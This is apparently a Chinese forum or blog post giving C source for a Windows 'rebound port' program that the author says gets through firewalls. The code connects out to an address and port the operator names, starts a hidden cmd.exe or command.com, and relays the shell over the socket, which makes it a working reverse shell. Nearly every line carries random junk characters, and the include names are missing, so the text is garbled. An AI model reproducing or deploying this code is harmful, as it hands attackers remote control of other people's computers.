Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 &eO.h%@  
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/* ============================== #PC*l\ )  
Rebound port in Windows NT ())_4 <  
By wind,2006/7 !Dc;R+Ir0!  
===============================*/ [EVyCIcY,h  
#include &{#6Z  
#include 5yJ~ q  
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#pragma comment(lib,"wsock32.lib") ]f`UflMO8  
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void OutputShell(); a~!7A ZT-O  
SOCKET sClient; VD!PF'  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; EronNtu8i  
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void main(int argc,char **argv) 5>H&0>
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{ N!tNRMTi  
WSADATA stWsaData; *.A-UoHa  
int nRet; [H$kVQC  
SOCKADDR_IN stSaiClient,stSaiServer; 39~WP$GM  
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if(argc != 3) !6#.%"{-  
{ juu"V]Q1  
printf("Useage:\n\rRebound DestIP DestPort\n"); 1?"Zrd  
return; \O~WMN  
} ?}uvpB1}  
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WSAStartup(MAKEWORD(2,2),&stWsaData); OB+cE4$  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); >h9~ /  
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stSaiClient.sin_family = AF_INET; `USze0"t0:  
stSaiClient.sin_port = htons(0); ^"uD:f)  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); n"~K",~P  
}`2+`w%uZ  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) az}zoFl  
{ ?<OyJ|;V  
printf("Bind Socket Failed!\n"); ;d}n89DXj  
return; %X\Rfn0J"  
} w8KxEV=  
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stSaiServer.sin_family = AF_INET; `$JOFLa  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); W3X;c*j  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); or)fx/%h  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 96gaun J  
{ xo-{N[r  
printf("Connect Error!"); @t
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return; mEb`ET|  
} i!<(R$Lo  
OutputShell(); i4SWFa``  
} >RiU/L
 
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void OutputShell() >;s2V_d  
{ `"xzC $  
char szBuff[1024]; '81Rwp  
SECURITY_ATTRIBUTES stSecurityAttributes; hig t(u  
OSVERSIONINFO stOsversionInfo; 27F:-C~.9  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; J3r':I}\  
STARTUPINFO stStartupInfo; 6Tq2WZ}<'  
char *szShell; XNBzA3W  
PROCESS_INFORMATION stProcessInformation; GIK.+kn\  
unsigned long lBytesRead; ?]}=4  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 5["n] i  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); E*v+@rv  
stSecurityAttributes.lpSecurityDescriptor = 0; lZ,$lZg9Z  
stSecurityAttributes.bInheritHandle = TRUE; "/hLZl  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); E /ycPqD  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); On+0@hh  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Xs2B:`,hh  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k$,y1hH;f8  
stStartupInfo.wShowWindow = SW_HIDE; :mdoGb$dr  
stStartupInfo.hStdInput = hReadPipe; V* ,u;*  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; EYZ,GT-I  
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GetVersionEx(&stOsversionInfo); &';@CeK  
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switch(stOsversionInfo.dwPlatformId) UwDoueXs  
{ PJh9
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case 1: `KP}pi\  
szShell = "command.com"; sJ_3tjs)  
break; kPnuU!  
default: ]/mRMm9"3h  
szShell = "cmd.exe"; Yp$@i20  
break; c[?&;# feV  
} 1fh6A`c  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Ap}`Q(.  
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send(sClient,szMsg,77,0); uVw|jj  
while(1) =mxj2>,&  
{ "W"r0"4
 
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); *MN("<A_  
if(lBytesRead) t\ 9Y)d  
{ }sfvzw_  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); M !rw!,g  
send(sClient,szBuff,lBytesRead,0); G?+]BIiL  
} ZZ].h2=K  
else G;AV~1i:~  
{ ("J_< p  
lBytesRead=recv(sClient,szBuff,1024,0); / DST|2  
if(lBytesRead<=0) break; x=1Sbs w{  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Z Mf,3  
} O
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} J]&nZud`  
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return; #XAH`L\  
}